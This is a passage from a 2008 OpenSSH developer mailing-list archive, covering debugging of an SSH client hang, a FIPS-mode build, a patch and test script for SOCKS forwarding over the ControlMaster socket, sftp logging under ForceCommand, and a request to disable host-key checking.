project. Thank you! From john.destefano at gmail.com Thu Jun 19 08:16:40 2008 From: john.destefano at gmail.com (John DeStefano) Date: Wed, 18 Jun 2008 18:16:40 -0400 Subject: SSH connection hang after upgrade Message-ID: <904B9911-54BE-4629-935F-2F0A3CB3A778@gmail.com> I recently had to upgrade my version of OpenSSH from 4.7 to 5.0p1 on my MacBook (Darwin). I installed the latest 'portable' tarball and removed the system version: $ ssh -V OpenSSH_5.0p1, OpenSSL 0.9.7l 28 Sep 2006 $ which ssh /usr/bin/ssh sshd is the same version, installed in /usr/sbin/sshd. Now, things are a bit broken: I am able to ssh from another machine into my MacBook, so the server (sshd) is working, but the outgoing client (ssh) hangs indefinitely on connect. ssh-add also hangs on any operation. ssh- agent shows: SSH_AUTH_SOCK=/tmp/ssh-35xNGanxBs/agent.2282; export SSH_AUTH_SOCK; SSH_AGENT_PID=2283; export SSH_AGENT_PID; echo Agent pid 2283; The interesting bits from an 'ssh -vvv localhost' session are: ... debug3: Not a RSA1 key file /Users/jd/.ssh/id_rsa. debug2: key_type_from_name: unknown key type '-----BEGIN' debug3: key_read: missing keytype debug2: key_type_from_name: unknown key type 'Proc-Type:' debug3: key_read: missing keytype debug2: key_type_from_name: unknown key type 'DEK-Info:' debug3: key_read: missing keytype debug3: key_read: missing whitespace ... debug3: key_read: missing whitespace debug2: key_type_from_name: unknown key type '-----END' debug3: key_read: missing keytype The ssh connection attempt just hangs and sits at: ... debug2: service_accept: ssh-userauth debug1: SSH2_MSG_SERVICE_ACCEPT received I don't know why the error 'Not a RSA1 key file' comes up, as my private key (id_rsa) remains unchanged and begins: -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,... Other points of interest: 'ssh-keygen -B' correctly identifies my private key and returns what appears to be a valid bubble-babble digest, beginning with '1024 ...' 'ssh-keygen -l' correctly identifies my private key and returns what appears to be a valid fingerprint, beginning with '1024 ...' 'ssh-keygen -y' correctly identifies my private key, asks for my pass phrase, and returns my public key, beginning with 'ssh-rsa ...' I haven't knowingly enabled any RSA-related settings in sshd_config, and HostKey remains commented out. Any thoughts on what may be wrong, whether this is a bug or something I've screwed up, or what else I can try? Thanks, ‾John From qianbohound at hotmail.com Thu Jun 19 16:17:29 2008 From: qianbohound at hotmail.com (=?gb2312?B?tee0xbKo?=) Date: Thu, 19 Jun 2008 14:17:29 +0800 Subject: Is there any plan for OpenSSH to support FIPS? Message-ID: Hi OpenSSh Developer, Currently, I can make openssh-5.0p1 working in FIPS mode. The detail steps I did are as follows. 1) Build FIPS OpenSSL according to FIPS User Guide(http://www.openssl.org/docs/fips/) on HP-UX PA 11.23 box. FIPS object module is generated by compiling openssl-fips-1.1.2. FIPS OpenSSL is built by openssl-0.9.7m, which is passed fips option for Configure step. 2) Modify openssh-5.0p1 according to http://www.gossamer-threads.com/lists/openssh/dev/42808?do=post_view_threaded#42808 . Although the patch is for openssh 4.7, I make some necessary minor changes fit for 5.0. 3) On HP-UX PA 11.23 box, compile openssh (using fipsld instead of cc), which links against FIPS object module and FIPS libcrypto.a generated from step 1. 4) Set OpenSSH_FIPS environment variable to "1", lauch sshd by "sshd -ddd" From the debug information, I can see sshd enters FIPS mode successfully 5) On the same machine, connect sshd by ssh ssh -c 3des-cbc localhost ssh -c aes128-cbc localhost ssh -c aes192-cbc localhost ssh -c aes256-cbc localhost These above ciphers are FIPS allowed and ssh can successfully connect to sshd which is running in FIPS mode. On the other hand,when using FIPS unallowed ciphers, ssh -c arcfour localhost ssh -c blowfish-cbc localhost ssh -c cast128-cbc locahost the sshd will disconnect the connection. Some debug messages like below appear. *************************** debug2: set_newkeys: mode 1 cipher_init: EVP_CipherInit: set key failed for aes128-ctr debug1: do_cleanup debug3: PAM: sshpam_thread_cleanup entering debug1: audit event euid 0 user (unknown user) event 12 (CONNECTION_ABANDON) *************************** The above experiments show that the modified sshd actually works in FIPS mode, conforming to FIPS standard. As we know, FIPS is very important for security software.It will be greatly appreciated, if FIPS is officially supported by openssh in the near future.(To provide flexibility to end user, one extra configuration directive/environment variable may be set to switch between FIPS and normal mode.) So, is there any plan that FIPS will be supported by OpenSSH? Looking forward to your reply! Best Regards, Bo _________________________________________________________________ Windows Live Photo gallery ????????????????????????????? http://get.live.cn/product/photo.html From dvorak at xs4all.nl Thu Jun 19 23:25:32 2008 From: dvorak at xs4all.nl (dvorak) Date: Thu, 19 Jun 2008 15:25:32 +0200 Subject: Portforwarding using the control master. Message-ID: <20080619132532.GB11264@xs4all.nl> Hi all, currently I am considering writing a patch for OpenSSH that will allow portforwarding using the control_master unix domain socket. The idea is to introduce an extra SSHMUX command, SSHMUX_COMMAND_SOCKS, which will then pass control to the normal socks functions used for dynamic forwarding. The main reason for me to write this patch are: - some more control over who gets to connect to portforwardings. (the control_master has uid control build in, while everyone can connect to the (dynamic) port forwardings. - easier to keep an overview, remembering that master-%r@%h:%p allows forwarding to ports from that machine is easier then keeping track of all the different ports. To be actually able to use it (since SSHMUX is an openssh only thing as far as I can tell). I'll write a patch to socat as well. Any comments? Kind Regards, dvorak From apb at cequrux.com Fri Jun 20 00:02:33 2008 From: apb at cequrux.com (Alan Barrett) Date: Thu, 19 Jun 2008 16:02:33 +0200 Subject: Portforwarding using the control master. In-Reply-To: <20080619132532.GB11264@xs4all.nl> References: <20080619132532.GB11264@xs4all.nl> Message-ID: <20080619140233.GB1336@apb-laptoy.apb.alt.za> On Thu, 19 Jun 2008, dvorak wrote: > currently I am considering writing a patch for OpenSSH that will allow > portforwarding using the control_master unix domain socket. The idea is > to introduce an extra SSHMUX command, SSHMUX_COMMAND_SOCKS, which will > then pass control to the normal socks functions used for dynamic > forwarding. Will this allow me to do the folowing: # open an ssh master connection, without port forwarding ssh -oControlPath=foo -oControlMaster=yes -N -f user at host # forward a port over the already-open master connection ssh -oControlPath=foo -oControlMaster=yes -N -f ¥ -L 25:localhost:25 user at host --apb (Alan Barrett) From dvorak at xs4all.nl Fri Jun 20 00:10:03 2008 From: dvorak at xs4all.nl (dvorak) Date: Thu, 19 Jun 2008 16:10:03 +0200 Subject: Portforwarding using the control master. In-Reply-To: <597e7edb0806190648h3d6a13abq79e56f6b7fb93eb0@mail.gmail.com> References: <20080619132532.GB11264@xs4all.nl> <597e7edb0806190648h3d6a13abq79e56f6b7fb93eb0@mail.gmail.com> Message-ID: <20080619141003.GC11264@xs4all.nl> > Hi Dvorak, > > On Thu, Jun 19, 2008 at 2:25 PM, dvorak wrote: > > > Any comments? > > If I understand you correctly, you wish to forward connections from a > unix domain socket on a local machine to network ports on a remote > machine. And given that in most situations, clients will have been > written to connect to network ports, you'll write a patch for socat > allowing for network ports on a local machine to be forwarded to the > unix domain socket in question. > > But while socat is running in this capacity, how will this provide any > greater security than the current network-port-to-network-port > forwardings? If the other side of socat is a normal listening socat this is indeed the case. However if used with for instance the ssh ProxyCommand it is just one connection without a locally listening counter part. My inteded usage is something like: ssh -o "ProxyCommand socat - SSH-SOCKS:/path/to-master:%h:%p" user at box2 > > Hamish > Dvorak From dvorak at xs4all.nl Fri Jun 20 00:13:15 2008 From: dvorak at xs4all.nl (dvorak) Date: Thu, 19 Jun 2008 16:13:15 +0200 Subject: Portforwarding using the control master. In-Reply-To: <20080619140233.GB1336@apb-laptoy.apb.alt.za> References: <20080619132532.GB11264@xs4all.nl> <20080619140233.GB1336@apb-laptoy.apb.alt.za> Message-ID: <20080619141315.GD11264@xs4all.nl> > On Thu, 19 Jun 2008, dvorak wrote: > > currently I am considering writing a patch for OpenSSH that will allow > > portforwarding using the control_master unix domain socket. The idea is > > to introduce an extra SSHMUX command, SSHMUX_COMMAND_SOCKS, which will > > then pass control to the normal socks functions used for dynamic > > forwarding. > > Will this allow me to do the folowing: > > # open an ssh master connection, without port forwarding > ssh -oControlPath=foo -oControlMaster=yes -N -f user at host > # forward a port over the already-open master connection > ssh -oControlPath=foo -oControlMaster=yes -N -f ¥ > -L 25:localhost:25 user at host > > --apb (Alan Barrett) That was not my intended usage, and would require a quite different patch. Something like: http://fixunix.com/openssh/175979-patch-controlling-remote-port-forwarding-over-control-path.html The patch would basicly open up a dynamic forward port over the control socket instead of having a listening socks proxy. Dvorak. From hamish at gmail.com Thu Jun 19 23:48:38 2008 From: hamish at gmail.com (Hamish Allan) Date: Thu, 19 Jun 2008 14:48:38 +0100 Subject: Portforwarding using the control master. In-Reply-To: <20080619132532.GB11264@xs4all.nl> References: <20080619132532.GB11264@xs4all.nl> Message-ID: <597e7edb0806190648h3d6a13abq79e56f6b7fb93eb0@mail.gmail.com> Hi Dvorak, On Thu, Jun 19, 2008 at 2:25 PM, dvorak wrote: > Any comments? If I understand you correctly, you wish to forward connections from a unix domain socket on a local machine to network ports on a remote machine. And given that in most situations, clients will have been written to connect to network ports, you'll write a patch for socat allowing for network ports on a local machine to be forwarded to the unix domain socket in question. But while socat is running in this capacity, how will this provide any greater security than the current network-port-to-network-port forwardings? Hamish From hamish at gmail.com Fri Jun 20 00:26:33 2008 From: hamish at gmail.com (Hamish Allan) Date: Thu, 19 Jun 2008 15:26:33 +0100 Subject: Portforwarding using the control master. In-Reply-To: <20080619141003.GC11264@xs4all.nl> References: <20080619132532.GB11264@xs4all.nl> <597e7edb0806190648h3d6a13abq79e56f6b7fb93eb0@mail.gmail.com> <20080619141003.GC11264@xs4all.nl> Message-ID: <597e7edb0806190726u394c6724pb01a6446f5709a72@mail.gmail.com> On Thu, Jun 19, 2008 at 3:10 PM, dvorak wrote: > If the other side of socat is a normal listening socat this is indeed the > case. However if used with for instance the ssh ProxyCommand it is just > one connection without a locally listening counter part. > > My inteded usage is something like: > > ssh -o "ProxyCommand socat - SSH-SOCKS:/path/to-master:%h:%p" user at box2 I see! Do you have a multi-hop SSH connection that cannot be multiplexed with the current functionality, or are you intending this for other tools with ProxyCommand-like features? Hamish From dvorak at xs4all.nl Fri Jun 20 01:42:22 2008 From: dvorak at xs4all.nl (dvorak) Date: Thu, 19 Jun 2008 17:42:22 +0200 Subject: Portforwarding using the control master. (patch attached) In-Reply-To: <20080619132532.GB11264@xs4all.nl> References: <20080619132532.GB11264@xs4all.nl> Message-ID: <20080619154222.GF11264@xs4all.nl> Hi all, Attached is the patch I have written, it is a bit larger then expected due to moving a lot from the code in client_process_control to its own function (client_process_sshmux_command_open). also attached is a simple script to test the functionality usage: (sh PROX.raw ; cat ) | socat - UNIX-CONNECT:./ctl where ./ctl is the path to the control master. It tries to open a connection to 127.0.0.1 1234. In case the patch is something usefull to have in OpenSSH I'll gladly help to get the code up to accepted standards. And as always, comments are most welcome. Kind Regards, dvorak > currently I am considering writing a patch for OpenSSH that will allow > portforwarding using the control_master unix domain socket. The idea is > to introduce an extra SSHMUX command, SSHMUX_COMMAND_SOCKS, which will > then pass control to the normal socks functions used for dynamic > forwarding. > > The main reason for me to write this patch are: > - some more control over who gets to connect to portforwardings. > (the control_master has uid control build in, while everyone can > connect to the (dynamic) port forwardings. > > - easier to keep an overview, remembering that master-%r@%h:%p > allows forwarding to ports from that machine is easier then keeping > track of all the different ports. > > To be actually able to use it (since SSHMUX is an openssh only thing > as far as I can tell). I'll write a patch to socat as well. -------------- next part -------------- diff -u openssh-4.9p1/clientloop.c openssh-4.9p1-mux-socks/clientloop.c --- openssh-4.9p1/clientloop.c 2008-03-07 08:33:30.000000000 +0100 +++ openssh-4.9p1-mux-socks/clientloop.c 2008-06-19 19:25:28.000000000 +0200 @@ -712,124 +712,18 @@ } static void -client_process_control(fd_set *readset) +client_process_sshmux_command_open (fd_set *readset, int client_fd, u_int flags) { - Buffer m; + Buffer m; Channel *c; - int client_fd, new_fd[3], ver, allowed, window, packetmax; - socklen_t addrlen; - struct sockaddr_storage addr; + int new_fd[3], ver, window, packetmax; struct confirm_ctx *cctx; char *cmd; - u_int i, j, len, env_len, command, flags; - uid_t euid; - gid_t egid; - - /* - * Accept connection on control socket - */ - if (control_fd == -1 || !FD_ISSET(control_fd, readset)) - return; - - memset(&addr, 0, sizeof(addr)); - addrlen = sizeof(addr); - if ((client_fd = accept(control_fd, - (struct sockaddr*)&addr, &addrlen)) == -1) { - error("%s accept: %s", __func__, strerror(errno)); - return; - } - - if (getpeereid(client_fd, &euid, &egid) < 0) { - error("%s getpeereid failed: %s", __func__, strerror(errno)); - close(client_fd); - return; - } - if ((euid != 0) && (getuid() != euid)) { - error("control mode uid mismatch: peer euid %u != uid %u", - (u_int) euid, (u_int) getuid()); - close(client_fd); - return; - } - - unset_nonblock(client_fd); - - /* Read command */ - buffer_init(&m); - if (ssh_msg_recv(client_fd, &m) == -1) { - error("%s: client msg_recv failed", __func__); - close(client_fd); - buffer_free(&m); - return; - } - if ((ver = buffer_get_char(&m)) != SSHMUX_VER) { - error("%s: wrong client version %d", __func__, ver); - buffer_free(&m); - close(client_fd); - return; - } - - allowed = 1; - command = buffer_get_int(&m); - flags = buffer_get_int(&m); - - buffer_clear(&m); - - switch (command) { - case SSHMUX_COMMAND_OPEN: - if (options.control_master == SSHCTL_MASTER_ASK || - options.control_master == SSHCTL_MASTER_AUTO_ASK) - allowed = ask_permission("Allow shared connection " - "to %s? ", host); - /* continue below */ - break; - case SSHMUX_COMMAND_TERMINATE: - if (options.control_master == SSHCTL_MASTER_ASK || - options.control_master == SSHCTL_MASTER_AUTO_ASK) - allowed = ask_permission("Terminate shared connection " - "to %s? ", host); - if (allowed) - quit_pending = 1; - /* FALLTHROUGH */ - case SSHMUX_COMMAND_ALIVE_CHECK: - /* Reply for SSHMUX_COMMAND_TERMINATE and ALIVE_CHECK */ - buffer_clear(&m); - buffer_put_int(&m, allowed); - buffer_put_int(&m, getpid()); - if (ssh_msg_send(client_fd, SSHMUX_VER, &m) == -1) { - error("%s: client msg_send failed", __func__); - close(client_fd); - buffer_free(&m); - return; - } - buffer_free(&m); - close(client_fd); - return; - default: - error("Unsupported command %d", command); - buffer_free(&m); - close(client_fd); - return; - } + u_int i, j, len, env_len; + buffer_init (&m); /* Reply for SSHMUX_COMMAND_OPEN */ - buffer_clear(&m); - buffer_put_int(&m, allowed); - buffer_put_int(&m, getpid()); - if (ssh_msg_send(client_fd, SSHMUX_VER, &m) == -1) { - error("%s: client msg_send failed", __func__); - close(client_fd); - buffer_free(&m); - return; - } - if (!allowed) { - error("Refused control connection"); - close(client_fd); - buffer_free(&m); - return; - } - - buffer_clear(&m); if (ssh_msg_recv(client_fd, &m) == -1) { error("%s: client msg_recv failed", __func__); close(client_fd); @@ -944,6 +838,175 @@ } static void +client_process_sshmux_command_socks (fd_set *readset, int client_fd, u_int flags) +{ + Buffer m; + Channel *nc; + int ver; + + buffer_init (&m); + /* Reply for SSHMUX_COMMAND_SOCKS */ + + if (ssh_msg_recv(client_fd, &m) == -1) { + error("%s: client msg_recv failed", __func__); + close(client_fd); + buffer_free(&m); + return; + } + + if ((ver = buffer_get_char(&m)) != SSHMUX_VER) { + error("%s: wrong client version %d", __func__, ver); + buffer_free(&m); + close(client_fd); + return; + } + + /* we now hand the rest of the connection of the normal socks handler */ + + nc = channel_new ("dynamic-tcpip", SSH_CHANNEL_DYNAMIC, client_fd, + client_fd, -1, CHAN_TCP_WINDOW_DEFAULT, CHAN_TCP_PACKET_DEFAULT, + 0, "dynamic-tcpip", 1); + nc->listening_port = 0; + nc->host_port = 0; + strlcpy(nc->path, "socks", sizeof(nc->path)); + + nc->delayed = 1; + + buffer_free (&m); +} + +static void +client_process_control(fd_set *readset) +{ + Buffer m; + int client_fd, ver, allowed; + socklen_t addrlen; + struct sockaddr_storage addr; + u_int command, flags; + uid_t euid; + gid_t egid; + + + /* + * Accept connection on control socket + */ + if (control_fd == -1 || !FD_ISSET(control_fd, readset)) + return; + + memset(&addr, 0, sizeof(addr)); + addrlen = sizeof(addr); + if ((client_fd = accept(control_fd, + (struct sockaddr*)&addr, &addrlen)) == -1) { + error("%s accept: %s", __func__, strerror(errno)); + return; + } + + if (getpeereid(client_fd, &euid, &egid) < 0) { + error("%s getpeereid failed: %s", __func__, strerror(errno)); + close(client_fd); + return; + } + if ((euid != 0) && (getuid() != euid)) { + error("control mode uid mismatch: peer euid %u != uid %u", + (u_int) euid, (u_int) getuid()); + close(client_fd); + return; + } + + unset_nonblock(client_fd); + + /* Read command */ + buffer_init(&m); + if (ssh_msg_recv(client_fd, &m) == -1) { + error("%s: client msg_recv failed", __func__); + close(client_fd); + buffer_free(&m); + return; + } + if ((ver = buffer_get_char(&m)) != SSHMUX_VER) { + error("%s: wrong client version %d", __func__, ver); + buffer_free(&m); + close(client_fd); + return; + } + + allowed = 1; + command = buffer_get_int(&m); + flags = buffer_get_int(&m); + + buffer_clear(&m); + + switch (command) { + case SSHMUX_COMMAND_OPEN: + if (options.control_master == SSHCTL_MASTER_ASK || + options.control_master == SSHCTL_MASTER_AUTO_ASK) + allowed = ask_permission("Allow shared connection " + "to %s? ", host); + break; + case SSHMUX_COMMAND_TERMINATE: + if (options.control_master == SSHCTL_MASTER_ASK || + options.control_master == SSHCTL_MASTER_AUTO_ASK) + allowed = ask_permission("Terminate shared connection " + "to %s? ", host); + if (allowed) + quit_pending = 1; + break; + case SSHMUX_COMMAND_ALIVE_CHECK: + break; + case SSHMUX_COMMAND_SOCKS: + if (options.control_master == SSHCTL_MASTER_ASK || + options.control_master == SSHCTL_MASTER_AUTO_ASK) + allowed = ask_permission("Allow shared network connection " + "to %s? ", host); + break; + default: + error("Unsupported command %d", command); + buffer_free(&m); + close(client_fd); + return; + } + + /* Common reply for all commands */ + buffer_clear(&m); + buffer_put_int(&m, allowed); + buffer_put_int(&m, getpid()); + if (ssh_msg_send(client_fd, SSHMUX_VER, &m) == -1) { + error("%s: client msg_send failed", __func__); + close(client_fd); + buffer_free(&m); + return; + } + + if (command == SSHMUX_COMMAND_OPEN) { + if (!allowed) { + error("Refused control connection"); + buffer_free(&m); + close(client_fd); + return; + } + buffer_free(&m); + client_process_sshmux_command_open (readset, client_fd, flags); + return; + } + if (command == SSHMUX_COMMAND_SOCKS) { + if (!allowed) { + error("Refused control connection"); + buffer_free(&m); + close(client_fd); + return; + } + buffer_free(&m); + client_process_sshmux_command_socks (readset, client_fd, flags); + return; + } + + buffer_free(&m); + close(client_fd); + return; +} + + +static void process_cmdline(void) { void (*handler)(int); diff -u openssh-4.9p1/clientloop.h openssh-4.9p1-mux-socks/clientloop.h --- openssh-4.9p1/clientloop.h 2007-08-08 06:32:41.000000000 +0200 +++ openssh-4.9p1-mux-socks/clientloop.h 2008-06-19 18:20:32.000000000 +0200 @@ -53,6 +53,7 @@ #define SSHMUX_COMMAND_OPEN 1 /* Open new connection */ #define SSHMUX_COMMAND_ALIVE_CHECK 2 /* Check master is alive */ #define SSHMUX_COMMAND_TERMINATE 3 /* Ask master to exit */ +#define SSHMUX_COMMAND_SOCKS 4 /* Open new network connection */ #define SSHMUX_FLAG_TTY (1) /* Request tty on open */ #define SSHMUX_FLAG_SUBSYS (1<<1) /* Subsystem request on open */ -------------- next part -------------- # first packet to establish the command printf "¥x00¥x00¥x00¥x09" # ssh packet length printf "¥x01" # MUX version 1 printf "¥x00¥x00¥x00¥x04" # command = SSHMUX_COMMAND_SOCKS printf "¥x00¥x00¥x00¥x00" # flags (unused) # second packet, just version, SSH_COMMAND_OPEN uses it so we do to printf "¥x00¥x00¥x00¥x01" # ssh packet length printf "¥x01" # MUX version 1 # the rest is just socks4 protocol printf "¥x04" # version 4 printf "¥x01" # command connect printf "¥x04¥xd2" # port (1234) printf "¥x7f¥x00¥x00¥x01" # ip (127.0.0.1) printf "anonymous¥x00" # username From djm at mindrot.org Fri Jun 20 09:28:40 2008 From: djm at mindrot.org (Damien Miller) Date: Fri, 20 Jun 2008 09:28:40 +1000 (EST) Subject: Portforwarding using the control master. (patch attached) In-Reply-To: <20080619154222.GF11264@xs4all.nl> References: <20080619132532.GB11264@xs4all.nl> <20080619154222.GF11264@xs4all.nl> Message-ID: On Thu, 19 Jun 2008, dvorak wrote: > Hi all, > > Attached is the patch I have written, it is a bit larger then expected > due to moving a lot from the code in client_process_control to its own > function (client_process_sshmux_command_open). > > also attached is a simple script to test the functionality usage: > (sh PROX.raw ; cat ) | socat - UNIX-CONNECT:./ctl > > where ./ctl is the path to the control master. It tries to open a > connection to 127.0.0.1 1234. > > In case the patch is something usefull to have in OpenSSH I'll gladly > help to get the code up to accepted standards. > > And as always, comments are most welcome. Sorry, I'm a little bit behind on email and haven't had a chance to look at what you are proposing to do. However if you want your patch to go in, you should base it on CVS -current rather than 5.0 as the multiplexing code has been rearranged significantly. (I can tell that you are not using -current bacause the function names have changed) -d From fred at fredk.com Fri Jun 20 10:47:13 2008 From: fred at fredk.com (Fred Kilbourn) Date: Thu, 19 Jun 2008 20:47:13 -0400 Subject: ForceCommand internal-sftp causes sftp logging to fail (openssh-5.0p1) Message-ID: <7208B1DCDB4EC544BB63401AA246AE2101205CE7@e0.exmx.net> Hi guys, I have a server setup with openssh-5.0p1 and use some users as sftp-only chroot accounts. The following configuration yields exactly the result I want: user is chrooted, logs to syslog, all is good. #================================================# Subsystem sftp internal-sftp -f AUTHPRIV -l VERBOSE Match User fredwww ChrootDirectory %h #ForceCommand internal-sftp #================================================# If I un-comment ForceCommand internal-sftp, syslog no longer logs activity from internal-sftp. I have the /dev/log setup with my syslog, and as I said, without ForceCommand it works fine. I looked through the source, but am not super c savvy so I could not see why this would cause a problem, but I think it has to do with the -f -l arguments not getting through properly to sftp-server. I would be happy to provide more information to get this sorted, let me know what you need or if I am missing something blatant please. Thank you, Fred Kilbourn From dkg-openssh.com at fifthhorseman.net Fri Jun 20 16:25:52 2008 From: dkg-openssh.com at fifthhorseman.net (Daniel Kahn Gillmor) Date: Fri, 20 Jun 2008 02:25:52 -0400 Subject: OpenSC smartcard access should use raw public keys, not X.509 certificates Message-ID: <878wx0zkpb.fsf@squeak.fifthhorseman.net> A non-text attachment was scrubbed... Name: use-public-keys-instead-of-certs-with-opensc.patch Type: text/x-diff Size: 5512 bytes Desc: enable the use of raw public keys on OpenSC-supported smartcards Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20080620/0fbcb856/attachment.bin -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20080620/0fbcb856/attachment-0001.bin From john.destefano at gmail.com Sat Jun 21 01:23:43 2008 From: john.destefano at gmail.com (John DeStefano) Date: Fri, 20 Jun 2008 11:23:43 -0400 Subject: SSH connection hang after upgrade In-Reply-To: <904B9911-54BE-4629-935F-2F0A3CB3A778@gmail.com> References: <904B9911-54BE-4629-935F-2F0A3CB3A778@gmail.com> Message-ID: <5BCBB2A9-1C0A-4B3C-9655-E2A7D7DEA8CD@gmail.com> Hello, Any help, please? Could this possibly be a bug with 'portable' OpenSSH 5.0p_1 on Mac OS X 10.5.3? I don't understand why the daemon is saying my private key is "Not a RSA1 key file" when it _is_ a valid RSA key file ... or why the daemon is trying to read the private key in the first place: as long as the SSH Agent is working properly, shouldn't it be the _public_ key it looks for? Thanks, ‾John On Jun 18, 2008, at 6:16 PM, John DeStefano wrote: > I recently had to upgrade my version of OpenSSH from 4.7 to 5.0p1 on > my > MacBook (Darwin). I installed the latest 'portable' tarball and > removed the system version: > $ ssh -V > OpenSSH_5.0p1, OpenSSL 0.9.7l 28 Sep 2006 > $ which ssh > /usr/bin/ssh > > sshd is the same version, installed in /usr/sbin/sshd. Now, things are > a bit broken: I am able to ssh from another machine into my MacBook, > so the server (sshd) is working, but the outgoing client (ssh) hangs > indefinitely on connect. ssh-add also hangs on any operation. ssh- > agent shows: > SSH_AUTH_SOCK=/tmp/ssh-35xNGanxBs/agent.2282; export SSH_AUTH_SOCK; > SSH_AGENT_PID=2283; export SSH_AGENT_PID; > echo Agent pid 2283; > > The interesting bits from an 'ssh -vvv localhost' session are: > ... > debug3: Not a RSA1 key file /Users/jd/.ssh/id_rsa. > debug2: key_type_from_name: unknown key type '-----BEGIN' > debug3: key_read: missing keytype > debug2: key_type_from_name: unknown key type 'Proc-Type:' > debug3: key_read: missing keytype > debug2: key_type_from_name: unknown key type 'DEK-Info:' > debug3: key_read: missing keytype > debug3: key_read: missing whitespace > ... > debug3: key_read: missing whitespace > debug2: key_type_from_name: unknown key type '-----END' > debug3: key_read: missing keytype > > The ssh connection attempt just hangs and sits at: > ... > debug2: service_accept: ssh-userauth > debug1: SSH2_MSG_SERVICE_ACCEPT received > > I don't know why the error 'Not a RSA1 key file' comes up, as my > private key (id_rsa) remains unchanged and begins: > -----BEGIN RSA PRIVATE KEY----- > Proc-Type: 4,ENCRYPTED > DEK-Info: DES-EDE3-CBC,... > > Other points of interest: > 'ssh-keygen -B' correctly identifies my private key and returns what > appears to be a valid bubble-babble digest, beginning with '1024 ...' > 'ssh-keygen -l' correctly identifies my private key and returns what > appears to be a valid fingerprint, beginning with '1024 ...' > 'ssh-keygen -y' correctly identifies my private key, asks for my > pass phrase, and returns my public key, beginning with 'ssh-rsa ...' > I haven't knowingly enabled any RSA-related settings in sshd_config, > and HostKey remains commented out. > > Any thoughts on what may be wrong, whether this is a bug or > something I've screwed up, or what else I can try? > > Thanks, > ‾John From mouring at eviladmin.org Sat Jun 21 04:54:52 2008 From: mouring at eviladmin.org (Ben Lindstrom) Date: Fri, 20 Jun 2008 13:54:52 -0500 (CDT) Subject: SSH connection hang after upgrade In-Reply-To: <5BCBB2A9-1C0A-4B3C-9655-E2A7D7DEA8CD@gmail.com> References: <904B9911-54BE-4629-935F-2F0A3CB3A778@gmail.com> <5BCBB2A9-1C0A-4B3C-9655-E2A7D7DEA8CD@gmail.com> Message-ID: There is a difference between a RSA1 key (RSA for ssh v1 protocol) and an RSA key (RSA for ssh v2 protocol). So that has nothing to do with what you are seeing. - Ben On Fri, 20 Jun 2008, John DeStefano wrote: > Hello, > > Any help, please? Could this possibly be a bug with 'portable' > OpenSSH 5.0p_1 on Mac OS X 10.5.3? I don't understand why the daemon > is saying my private key is "Not a RSA1 key file" when it _is_ a valid > RSA key file ... or why the daemon is trying to read the private key > in the first place: as long as the SSH Agent is working properly, > shouldn't it be the _public_ key it looks for? > > Thanks, > ‾John > > On Jun 18, 2008, at 6:16 PM, John DeStefano wrote: > >> I recently had to upgrade my version of OpenSSH from 4.7 to 5.0p1 on >> my >> MacBook (Darwin). I installed the latest 'portable' tarball and >> removed the system version: >> $ ssh -V >> OpenSSH_5.0p1, OpenSSL 0.9.7l 28 Sep 2006 >> $ which ssh >> /usr/bin/ssh >> >> sshd is the same version, installed in /usr/sbin/sshd. Now, things are >> a bit broken: I am able to ssh from another machine into my MacBook, >> so the server (sshd) is working, but the outgoing client (ssh) hangs >> indefinitely on connect. ssh-add also hangs on any operation. ssh- >> agent shows: >> SSH_AUTH_SOCK=/tmp/ssh-35xNGanxBs/agent.2282; export SSH_AUTH_SOCK; >> SSH_AGENT_PID=2283; export SSH_AGENT_PID; >> echo Agent pid 2283; >> >> The interesting bits from an 'ssh -vvv localhost' session are: >> ... >> debug3: Not a RSA1 key file /Users/jd/.ssh/id_rsa. >> debug2: key_type_from_name: unknown key type '-----BEGIN' >> debug3: key_read: missing keytype >> debug2: key_type_from_name: unknown key type 'Proc-Type:' >> debug3: key_read: missing keytype >> debug2: key_type_from_name: unknown key type 'DEK-Info:' >> debug3: key_read: missing keytype >> debug3: key_read: missing whitespace >> ... >> debug3: key_read: missing whitespace >> debug2: key_type_from_name: unknown key type '-----END' >> debug3: key_read: missing keytype >> >> The ssh connection attempt just hangs and sits at: >> ... >> debug2: service_accept: ssh-userauth >> debug1: SSH2_MSG_SERVICE_ACCEPT received >> >> I don't know why the error 'Not a RSA1 key file' comes up, as my >> private key (id_rsa) remains unchanged and begins: >> -----BEGIN RSA PRIVATE KEY----- >> Proc-Type: 4,ENCRYPTED >> DEK-Info: DES-EDE3-CBC,... >> >> Other points of interest: >> 'ssh-keygen -B' correctly identifies my private key and returns what >> appears to be a valid bubble-babble digest, beginning with '1024 ...' >> 'ssh-keygen -l' correctly identifies my private key and returns what >> appears to be a valid fingerprint, beginning with '1024 ...' >> 'ssh-keygen -y' correctly identifies my private key, asks for my >> pass phrase, and returns my public key, beginning with 'ssh-rsa ...' >> I haven't knowingly enabled any RSA-related settings in sshd_config, >> and HostKey remains commented out. >> >> Any thoughts on what may be wrong, whether this is a bug or >> something I've screwed up, or what else I can try? >> >> Thanks, >> ‾John > > _______________________________________________ > openssh-unix-dev mailing list > openssh-unix-dev at mindrot.org > https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev > From jtkarlsson1973 at yahoo.com Sat Jun 21 04:04:18 2008 From: jtkarlsson1973 at yahoo.com (Tobias Karlsson) Date: Fri, 20 Jun 2008 11:04:18 -0700 (PDT) Subject: Flag to turn off host-key check Message-ID: <614912.36780.qm@web30705.mail.mud.yahoo.com> Let me start by saying that I think OpenSSH is a great tool and thanks to everyone contributing to it's existence. However, I have a request: I'd like to have a flag that ignores the check of the host key. I'm fully aware of that this opens up for man-in-the-middle attacks and that there is a risk of lazy users mis-using this feature, but it would be very useful for us using SSH in a lab environment where the host key of the equipment frequently changes. From mra at malloc.org Sat Jun 21 05:10:32 2008 From: mra at malloc.org (Matt Anderson) Date: Fri, 20 Jun 2008 15:10:32 -0400 Subject: Flag to turn off host-key check In-Reply-To: <614912.36780.qm@web30705.mail.mud.yahoo.com> References: <614912.36780.qm@web30705.mail.mud.yahoo.com> Message-ID: <485C00A8.9010800@malloc.org> Tobias Karlsson wrote: > Let me start by saying that I think OpenSSH is a great tool and thanks to everyone contributing to it's existence. Agreed! > However, I have a request: > > I'd like to have a flag that ignores the check of the host key. I'm fully aware of that this opens up for 